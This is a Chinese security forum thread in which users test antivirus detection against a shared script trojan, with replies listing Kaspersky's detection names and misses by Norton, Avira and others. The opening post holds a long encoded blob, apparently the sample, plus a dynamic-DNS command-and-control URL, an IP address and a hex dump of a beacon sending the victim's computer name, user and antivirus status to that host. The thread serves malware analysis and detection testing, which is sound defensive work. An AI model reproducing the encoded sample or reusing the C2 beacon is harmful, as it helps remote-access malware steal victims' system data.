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

复制代码

访问动态域名

1. http://mmksba.dyndns.org:4455/is-ready

复制代码

访问可疑IP

1. 66.154.103.156

复制代码

封包（看起来像远控）

1. 00000000:
   
2. 00000010:
   
3. 00000020:
   
4. 00000030:
   
5. 00000040:
   
6. 00000050:
   
7. 00000060:
   
8. 00000070:
   
9. 00000080:
   
10. 00000090:
    
11. 000000A0:
    
12. 000000B0:
    
13. 000000C0:
    
14. 000000D0:
    
15. 000000E0:
    
16. 000000F0:
    
17. 00000100:
    
18. 00000110:
    
19. 00000120:
    
20. 00000130:
    
21. 00000140:
    
22. 00000150:
    
23. 00000160:
    
24. 00000170:
    
25. 00000180:
    
26. 00000190:
    
27. 000001A0:
    
28. 000001B0:50 4F 53 54 20 2F 69 73 2D 72 65 61 64 79 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 34 2E 30 3B 20 53 4C 43 43 32 3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 2E 4E 45 54 20 43 4C 52 20 33 2E 30 2E 33 30 37 32 39 3B 20 4D 65 64 69 61 20 43 65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 2E 4E 45 54 34 2E 30 43 3B 20 2E 4E 45 54 34 2E 30 45 29 0D 0A 48 6F 73 74 3A 20 6D 6D 6B 73 62 61 2E 64 79 6E 64 6E 73 2E 6F 72 67 3A 34 34 35 35 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 38 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A 43 34 42 41 33 36 34 37 3C 7C 3E 55 53 45 52 2D 50 43 3C 7C 3E 61 64 6D 69 6E 3C 7C 3E 4D 69 63 72 6F 73 6F 66 74 20 57 69 6E 64 6F 77 73 20 37 20 50 72 6F 66 65 73 73 69 6F 6E 61 6C 20 3C 7C 3E 70 6C 75 73 3C 7C 3E 6E 61 6E 2D 61 76 3C 7C 3E
    
29. POST /is-ready H
    
30. TTP/1.1..Accept:
    
31. */*..Accept-Enc
    
32. oding: gzip, def
    
33. late..User-Agent
    
34. : Mozilla/4.0 (c
    
35. ompatible; MSIE
    
36. 7.0; Windows NT
    
37. 6.1; Trident/4.0
    
38. ; SLCC2; .NET CL
    
39. R 2.0.50727; .NE
    
40. T CLR 3.5.30729;
    
41. .NET CLR 3.0.30
    
42. 729; Media Cente
    
43. r PC 6.0; .NET4.
    
44. 0C; .NET4.0E)..H
    
45. ost: mmksba.dynd
    
46. ns.org:4455..Con
    
47. tent-Length: 81.
    
48. .Connection: Kee
    
49. p-Alive..Cache-C
    
50. ontrol: no-cache
    
51. ....C4BA3647<|>U
    
52. SER-PC<|>admin<|
    
53. >Microsoft Windo
    
54. ws 7 Professiona
    
55. l <|>plus<|>nan-
    
56. av<|>
    

复制代码

FD丶纸鸢

卡巴和File Analysis占楼（话说FA能分析这个吗

FD丶纸鸢

FD丶纸鸢 发表于 2019-8-28 21:00
卡巴和File Analysis占楼（话说FA能分析这个吗

卡巴:
HEUR:Trojan.Script.SAgent.gen
File Analysis不支持此类文件


高手速模式下双击后飞快启用卡巴防护触发了卡巴的PDM 具体名称PDM:Trojan.Win32.Bazon.a

llcy

马云波波波

Norton miss ~扫描提示安全

星河大帝

Avira miss

gtc

BG扫描miss

xiuzhiguo

FD丶纸鸢 发表于 2019-8-28 21:02
卡巴:
HEUR:Trojan.Script.SAgent.gen
File Analysis不支持此类文件

貌似卡巴的pdm库和病毒库关联